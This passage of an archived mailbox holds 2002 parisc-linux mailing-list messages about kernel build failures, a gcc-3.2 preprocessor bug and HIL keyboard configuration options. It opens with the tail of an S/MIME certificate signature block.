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
jFjShCfRPQAAAAAAAA==
--------------ms060107090002030708000604--




From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CVS kernel broken?
Date: Wed, 26 Jun 2002 22:39:55 -0700 (PDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206262237000.17764-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621439 9393 80.91.229.3 (22 Nov 2014 01:57:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun 26 23:40:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 89489482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 23:40:08 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ats164.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP id 6B1107BC45
	for <parisc-linux@lists.parisc-linux.org>; Wed, 26 Jun 2002 22:39:55 -0700 (PDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15235

I am unable to build the current cvs kernel.  make oldconfig says 
scripts/Configure: drivers/hil/Config.in: No such file or directory
make[1]: *** [oldconfig] Error 1

and make menuconfig says 
Preparing scripts: functions, parsingscripts/Menuconfig: line 1: 10304 
Segmentation fault      awk "$1"
Awk died with error code 139. Giving up.
...

Is this just me, or is there some problem I don't know about?

-- 
Skinner's Constant (or Flannagan's Finagling Factor):
	That quantity which, when multiplied by, divided by, added to,
	or subtracted from the answer you got, gives you the answer you
	should have gotten.




From - Thu Nov 08 21:23:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Thu, 27 Jun 2002 08:25:26 +0200 (CEST)
Lines: 65
Approved: news@gmane.org
Message-ID: <1025159126.3d1aafd6bb544@webmail.tiscalinet.be>
References: <200206261621.g5QGLPH2012238@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621439 9395 80.91.229.3 (22 Nov 2014 01:57:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:19 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 00:26:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B04D04830
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 00:26:08 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NSic-0006Hr-00; Thu, 27 Jun 2002 08:25:26 +0200
In-Reply-To: <200206261621.g5QGLPH2012238@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15236

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > joel.soete@freebel.net wrote:
> > > In file included from pacache.S:44:
> > > /Develop/parisc-linux/src/linux-2.4.18-pa40/include/asm/cache.h:9:
> 1/config.h
> > >   :
> > > No such file or directory
> > 
> > The offending line is:
> >       8 #include <linux/config.h>
> > 
> > I'll assume "linux" being #define'd to 1.
> > gcc predefines perhaps?
> 
> Yes, the predefine is standard and is present in gcc 3.0.4, etc.  You
> can
> see macro defines using the "-dM -E" option.

Oops,  gcc -E ... works well and give the expect results (if I do a link
1->linux) but gcc -dM -E ... SegFault :((

# gcc -dM -E -D__ASSEMBLY__ -traditional -D__KERNEL__
-I/Develop/parisc-linux/src/linux/include  -c -o pacache.CPP pacache.S
In file included from /Develop/parisc-linux/src/linux/include/asm/assembly.h:31,
                 from pacache.S:44:
/Develop/parisc-linux/src/linux/include/asm/offset.h:3: unterminated #ifndef
cc1: internal compiler error: internal error: Segmentation fault

> 
> However, the macro should not be expanded inside <> or "".  Joel, can
> you
> file a PR <http://gcc.gnu.org/cgi-bin/gnatsweb.pl>?
> 

For the first problem ("linux" #define 1) here is the references:
----- Forwarded message from gcc-gnats@gcc.gnu.org -----
Date: 27 Jun 2002 06:16:00 -0000
From: gcc-gnats@gcc.gnu.org
Reply-To: gcc-gnats@gcc.gnu.org,nobody@gcc.gnu.org
Subject: Re: c/7138: gcc-3.2 failed to compile kernel
To: joel.soete@freebel.net

Thank you very much for your problem report.
It has the internal identification `c/7138'.
The individual assigned to look at your
report is: unassigned.

>Category:       c
>Responsible:    unassigned
>Synopsis:       gcc-3.2 failed to compile kernel
>Arrival-Date:   Wed Jun 26 23:16:00 PDT 2002


----- End forwarded message -----

Would I have to assign it to you?
Thanks for all,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS kernel broken?
Date: Thu, 27 Jun 2002 08:46:25 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1025160385.3d1ab4c1b6078@webmail.tiscalinet.be>
References: <Pine.LNX.4.44.0206262237000.17764-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621439 9398 80.91.229.3 (22 Nov 2014 01:57:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 00:46:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93E114832
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 00:46:48 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17NT2v-0000Ed-00; Thu, 27 Jun 2002 08:46:25 +0200
In-Reply-To: <Pine.LNX.4.44.0206262237000.17764-100000@garibaldi.apptechsys.com>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15237

Quoting Jeremy Drake <jeremyd@apptechsys.com>:

> I am unable to build the current cvs kernel.  make oldconfig says 
> scripts/Configure: drivers/hil/Config.in: No such file or directory
> make[1]: *** [oldconfig] Error 1
> 
> and make menuconfig says 
> Preparing scripts: functions, parsingscripts/Menuconfig: line 1: 10304 
> Segmentation fault      awk "$1"
> Awk died with error code 139. Giving up.
> ...
> 
> Is this just me, or is there some problem I don't know about?
> 

No problem for me.
Do you try "make distclean" before oldconfig?

Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS kernel broken?
Date: Thu, 27 Jun 2002 08:56:41 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <200206270856.42032.deller@gmx.de>
References: <Pine.LNX.4.44.0206262237000.17764-100000@garibaldi.apptechsys.com> <1025160385.3d1ab4c1b6078@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621440 9400 80.91.229.3 (22 Nov 2014 01:57:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net, Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 00:57:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 6A07F4831
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 00:57:14 -0600 (MDT)
Original-Received: (qmail 23504 invoked by uid 0); 27 Jun 2002 06:57:03 -0000
Original-Received: from pd90407d1.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.7.209)
  by mail.gmx.net (mp011-rz3) with SMTP; 27 Jun 2002 06:57:03 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <1025160385.3d1ab4c1b6078@webmail.tiscalinet.be>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15238

On Thursday 27 June 2002 08:46, joel.soete@freebel.net wrote:
> Quoting Jeremy Drake <jeremyd@apptechsys.com>:
> > I am unable to build the current cvs kernel.  make oldconfig says
> > scripts/Configure: drivers/hil/Config.in: No such file or directory
> > make[1]: *** [oldconfig] Error 1
> >
> > and make menuconfig says
> > Preparing scripts: functions, parsingscripts/Menuconfig: line 1: 10304
> > Segmentation fault      awk "$1"
> > Awk died with error code 139. Giving up.
> > ...
> >
> > Is this just me, or is there some problem I don't know about?
>
> No problem for me.
> Do you try "make distclean" before oldconfig?
>
> Joel

Please checkout the CVS kernel again.
I've moved the HIL source to an own directory and updated some other
things.

Greetings,
Helge



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel > -pa41 debian-configs file not adequate
Date: Thu, 27 Jun 2002 11:43:24 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <534E0E66-89B2-11D6-ACD4-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621440 9402 80.91.229.3 (22 Nov 2014 01:57:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:20 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 03:43:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07DCA4833
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 03:43:27 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP id 1D83449BE4
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 11:43:25 +0200 (CEST)
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15239

Hi fellows,

Well I have noticed yesterday when building the -pa41 and -pa42 netinst 
ISO that the debian-configs files were not reflecting the changes that 
Helge made to the kernel source, and therefore the scripted build could 
not achieve, as it stopped there:

*
* HIL support
*
HIL core support (CONFIG_HIL) [Y/m/n/?]
   HIL Keyboard (basic) support (CONFIG_HIL_KBD_BASIC) [N/y/?] (NEW)


I could possibly fix that, but I don't know whether it should be 'Y' or 
'N', or maybe there is some *maintainer* who will do that better than 
me ;)

Greetings,


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <helge.deller@sap.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel > -pa41 debian-configs file not adequate
Date: Thu, 27 Jun 2002 12:02:07 +0200
Organization: SAP AG - LinuxLab & Unix Platforms
Lines: 37
Approved: news@gmane.org
Message-ID: <200206271202.07960.helge.deller@sap.com>
References: <534E0E66-89B2-11D6-ACD4-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621440 9406 80.91.229.3 (22 Nov 2014 01:57:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:20 +0000 (UTC)
To: Thibaut VARENE <varenet@esiee.fr>,
	PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 04:03:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DA524839
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 04:03:08 -0600 (MDT)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id MAA11488;
  Thu, 27 Jun 2002 12:08:32 +0200 (MESZ)
User-Agent: KMail/1.4.5
In-Reply-To: <534E0E66-89B2-11D6-ACD4-0030656F07A2@esiee.fr>
Content-Disposition: inline
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15240

Hi Thibaut,

Please use CONFIG_HIL=y, CONFIG_HIL_KBD_BASIC=y,
all other HIL configs =n.
I'll fix that later today in CVS.

Greetings,
Helge

On Thursday 27 June 2002 11:43, Thibaut VARENE wrote:
> Hi fellows,
>
> Well I have noticed yesterday when building the -pa41 and -pa42 netinst
> ISO that the debian-configs files were not reflecting the changes that
> Helge made to the kernel source, and therefore the scripted build could
> not achieve, as it stopped there:
>
> *
> * HIL support
> *
> HIL core support (CONFIG_HIL) [Y/m/n/?]
>    HIL Keyboard (basic) support (CONFIG_HIL_KBD_BASIC) [N/y/?] (NEW)
>
>
> I could possibly fix that, but I don't know whether it should be 'Y' or
> 'N', or maybe there is some *maintainer* who will do that better than
> me ;)
>
> Greetings,
>
>
> Thibaut VARENE
> PA/Linux ESIEE Team
> http://pateam.esiee.fr/




From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 24bit colour
Date: Thu, 27 Jun 2002 13:56:31 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020627135631.A2955@parcelfarce.linux.theplanet.co.uk>
References: <5.1.0.14.0.20020610084610.026cfc70@10.106.16.2> <20020610203815.8349B380D5@carmen.fc.hp.com> <1024391159.3d0ef7f7c3903@webmail.tiscalinet.be> <20020618121104.E9435@parcelfarce.linux.theplanet.co.uk> <1025099026.3d19c51207773@webmail.tiscalinet.be> <20020626144536.B28662@parcelfarce.linux.theplanet.co.uk> <3D1A1BFF.7080000@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621441 9408 80.91.229.3 (22 Nov 2014 01:57:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:57:21 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, joel.soete@freebel.net,
	Matt Taggart <taggart@carmen.fc.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun 27 06:56:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26A404834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Jun 2002 06:56:43 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17NYp5-0000wJ-00; Thu, 27 Jun 2002 13:56:31 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3D1A1BFF.7080000@charter.net>; from bdhilton@charter.net on Wed, Jun 26, 2002 at 03:54:39PM -0400
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15241

On Wed, Jun 26, 2002 at 03:54:39PM -0400, B. Douglas Hilton wrote:
> The "Color Recovery" code supposedly dithers the colors in some
> special way down to 8bpp and then the hardware somehow restores
> them, right?

As far as I can tell from reading the documentation on the web,
it's simply a programmable palette.  This doesn't seem terribly
interesting/hard, so I assume there must be more to it than that.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:23:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.2 failed to compile kernel
Date: Thu, 27 Jun 2002 10:58:08 -0400 (EDT)
Lines: 22
Approved: news@gmane.org
Message-ID: <200206271458.g5REw9Tr015373@hiauly1.hia.nrc.ca>
References: <1025159126.3d1aafd6bb544@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
